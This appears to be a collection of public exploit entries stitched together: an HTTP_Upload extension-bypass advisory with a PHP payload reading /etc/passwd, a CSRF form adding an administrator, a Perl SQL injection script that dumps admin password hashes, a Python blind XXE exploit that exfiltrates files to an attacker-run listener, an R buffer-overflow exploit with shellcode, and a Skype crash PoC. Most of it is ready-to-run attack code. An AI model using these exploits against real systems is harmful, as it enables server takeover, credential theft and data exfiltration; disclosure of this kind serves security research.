Easy and secure managment of files submitted via HTML Forms.

pear install HTTP_Upload

This class provides an advanced file uploader system for file uploads made
from html forms. Features:
* Can handle from one file to multiple files.
* Safe file copying from tmp dir.
* Easy detecting mechanism of valid upload, missing upload or error.
* Gives extensive information about the uploaded file.
* Rename uploaded files in different ways: as it is, safe or unique
* Validate allowed file extensions
* Multiple languages error messages support (es, en, de, fr, it, nl, pt_BR)


Vulnerability Type:
======================
Arbitrary File Upload



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

The package comes with an "upload_example.php" file to test the package,
when uploading a "restricted" PHP file
user will get message like "Unauthorized file transmission".

Line: 488 of "Upload.php"
var $_extensionsCheck = array('php', 'phtm', 'phtml', 'php3', 'inc');

If user does not go thru the "Upload.php" code line by line. They will find
option to set case sensitive check.
e.g. Line: 503  "$_extensionsCaseSensitive"=true

Line: 874

* @param bool $case_sensitive whether extension check is case sensitive.

* When it is case insensitive, the extension

* is lowercased before compared to the array

* of valid extensions.


This setting looks to prevent mixed or uppercase extension on disallowed
PHP file type bypass before uploading.

However, some developers are unaware that "Apache" can process file with
extension like PHP.1, PHP.; etc.
if the last extension is not specified in the list of mime-types known to
the web server.

Therefore, attackers can easily bypass the security check by appending ".1"
to end of the file,
which can result in arbitrary command execution on the affected server.

e.g.

"ext_bypass.php.1" contents:

<?php

echo passthru('cat /etc/passwd');

?>


Sucessfully Tested on: Bitnami wampstack-5.6.29-0.
Server version: Apache/2.4.23 (Win64)

Sucessfully Tested on: XAMPP for Linux 5.6.8-0
Server version: Apache/2.4.12 (Unix)



Disclosure Timeline:
======================================
Vendor Notification: December 31, 2016
Similar bug reported and open 2012
Issue Fixed: January 17, 2017
January 25, 2017  : Public Disclosure




Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
            
# # # # # 
# Exploit Title: AlstraSoft FMyLife Pro v1.02 Script - Cross-Site Request Forgery (Add Admin)
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/fmylife-pro.htm
# Demo: http://www.tellaboutit.com/
# Version: 1.02
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
<html>
<body>
<h2>Add an Administrator</h2>
<form action="http://localhost/[PATH]/admin/" method="post">
<div id="add-admin-form">
<input type="hidden" name="action" value="add-admin" />
<label for="username">Username:</label>
<input type="text" id="username" name="admin-username" value="" />
<div class="spacer"></div>
<label for="password">Password:</label>
<input type="password" id="password" name="admin-password" value="" />
<div class="spacer"></div>
<input type="submit" name="Sumbit" name="add-admin" id="add-admin" value="Add Administrator" />
</div>
</form>
</body>
</html>
# # # # #
            
#!/usr/bin/perl -w
# # # # # 
# Exploit Title: AlstraSoft Template Seller Pro v3.25e Script (buy.php)- Remote SQL Injection Vulnerability
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/template.htm
# Demo: http://blizsoft.com/templates/
# Version: 3.25e
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "|----------------------------------------------------|\n";
print "| Template Seller Pro v3.25e Remote SQL Injector     |\n";
print "| Author: Ihsan Sencan                               |\n";
print "| Author Web: http://ihsan.net                       |\n";
print "| Mail : ihsan[beygir]ihsan[nokta]net                |\n";
print "|                                                    |\n";
print "|                                                    |\n";
print "|----------------------------------------------------|\n";
use LWP::UserAgent;
print "\nInsert Target:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress...\n";
print "\n";
$elicha="group_concat(user_name,char(58),user_password)";
$table="UserDB";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "buy.php?tempid=-1+union+select+1,2,3,".$elicha.",5,6,7,8+from/**/".$table."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n";
print "[+] Success !!\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}
            
# Exploit Title: Episerver 7 patch 4 - XML External Entity Injection
# Google Dork: N/A
# Date: 2018-08-28
# Exploit Author: Jonas Lejon
# Vendor Homepage: https://www.episerver.se/
# Version: Episerver 7 patch 4 and below
# CVE : N/A

## episploit.py - Blind XXE file read exploit for Episerver 7 patch 4 and below
## Starts a listening webserver, so the exploits needs a public IP and unfiltered port, configure RHOST below!
## Usage: ./episploit.py <target> [file-to-read]

#!/usr/bin/python

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
import re
import sys
import time
import threading
import socket

SERVER_SOCKET 	= ('0.0.0.0', 8000)
EXFIL_FILE 		= 'file:///c:/windows/win.ini' 

# The public facing IP. Change this
RHOST 			= '1.2.3.4:' + str(SERVER_SOCKET[1])

EXFILTRATED_EVENT = threading.Event()

class BlindXXEServer(BaseHTTPRequestHandler):

	def response(self, **data):
		code = data.get('code', 200)
		content_type = data.get('content_type', 'text/plain')
		body = data.get('body', '')

		self.send_response(code)
		self.send_header('Content-Type', content_type)
		self.end_headers()
		self.wfile.write(body.encode('utf-8'))
		self.wfile.close()

	def do_GET(self):
		self.request_handler(self)

	def do_POST(self):
		self.request_handler(self)

	def log_message(self, format, *args):
		return

	def request_handler(self, request):
		global EXFILTRATED_EVENT

		path = urllib.unquote(request.path).decode('utf8')
		m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
		if m and request.command.lower() == 'get':
			data = path[len('/?exfil='):]
			print 'Exfiltrated %s:' % EXFIL_FILE
			print '-' * 30
			print urllib.unquote(data).decode('utf8')
			print '-' * 30 + '\n'
			self.response(body='true')

			EXFILTRATED_EVENT.set()

		elif request.path.endswith('.dtd'):
			print 'Sending malicious DTD file.'
			dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}

			self.response(content_type='text/xml', body=dtd)

		else:
			print '[INFO] %s %s' % (request.command, request.path)
			self.response(body='false')

def send_stage1(target):
	content = '''<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://''' + RHOST + '''/test.dtd"><foo>&exfil;</foo>'''
	payload = '''POST /util/xmlrpc/Handler.ashx?pageid=1023 HTTP/1.1
Host: ''' + target + '''
User-Agent: curl/7.54.0
Accept: */*
Content-Length: ''' + str(len(content)) + '''
Content-Type: application/x-www-form-urlencoded
Connection: close

''' + content

	print "Sending payload.."
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	port = 80
	s.connect((target,port))
	s.send(payload)

def main(target):
	server = HTTPServer(SERVER_SOCKET, BlindXXEServer)
	thread = threading.Thread(target=server.serve_forever)
	thread.daemon = True
	thread.start()
	send_stage1(target)

	while not EXFILTRATED_EVENT.is_set():
		pass

if __name__ == '__main__':
	if len(sys.argv) > 1:
		target = sys.argv[1]
	if len(sys.argv) > 2:
		EXFIL_FILE = sys.argv[2]
	main(target)
            
#--------------------------------------------------------#
#Exploit Title: R v3.4.4 - (SEH) Buffer Overflow Exploit
#Exploit Author : ZwX
#Exploit Date: 2018-08-22
#Vendor Homepage : https://www.r-project.org/
#Tested on OS: Windows 7
#Social: twitter.com/ZwX2a
#contact: msk4@live.fr
#Website: http://zwx-pentester.fr/
#--------------------------------------------------------#


#Technical Details & Description:
#================================
'''A local buffer overflow vulnerability has been discovered in the official R v3.4.4 software.
The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process.
The issue can be exploited by local attackers with system privileges to compromise the affected local computer system.
The vulnerability is marked as classic buffer overflow issue'''


# Manual steps to reproduce the vulnerability: under GUI preferences
# paste bo.txt contents into 'Language for menus and messages' click ok --> Now the calculator executes!


#!/usr/bin/python

from struct import pack
buffer = "x41" * 900
a = "\xeb\x14\x90\x90"
b = pack("<I",0x6cb85492)  #pop esi # pop ebp # ret 04 |  {PAGE_EXECUTE_READ} [R.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.4.4 (C:Program FilesRR-3.4.4bini386R.dll)
calc=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
nops = "\x90" * 20

poc = buffer + a + b + nops + calc
file = open("bo.txt","w")
file.write(poc)
file.close()

print "POC Created by ZwX"


#Solution - Fix & Patch:
#=======================
'''The solution could be to restrict and filter the number of characters on input of 'Language for menus and messages' '''


# Disclaimer:
#===============

'''Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the
author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related
information or exploits by the author or elsewhere.



                                    Copyright A(c) 2018 | ZwX - Security Researcher (Software & web application)'''
            
# Exploit Title: Skype Empresarial Office 365 16.0.10730.20053 - 'Dirección de inicio de sesión' Denial of service (PoC)
# Discovery by: Samuel Cruz
# Discovery Date; 2018-08-29
# Vendor Homepage: https://www.skype.com/es/business/
# Tested Version: 16.0.10730.20053
# Tested on OS: Windows 10 Pro x64 es/home/

#Steps to produce the crash
#1.- Run python code : python SkypeforBusiness_16.0.10730.20053.py
#2.- Open SkypeforBusiness.txt and copy context to clipboard
#3.- Open Skype for business
#4.- Paste clipboard on "Dirección de inicio de sesión"
#5.- Iniciar sesión
#6.- Crashed

buffer = "\x41" * 595
f = open ("SkypeforBusiness.txt", "w")
f.write(buffer)
f.close()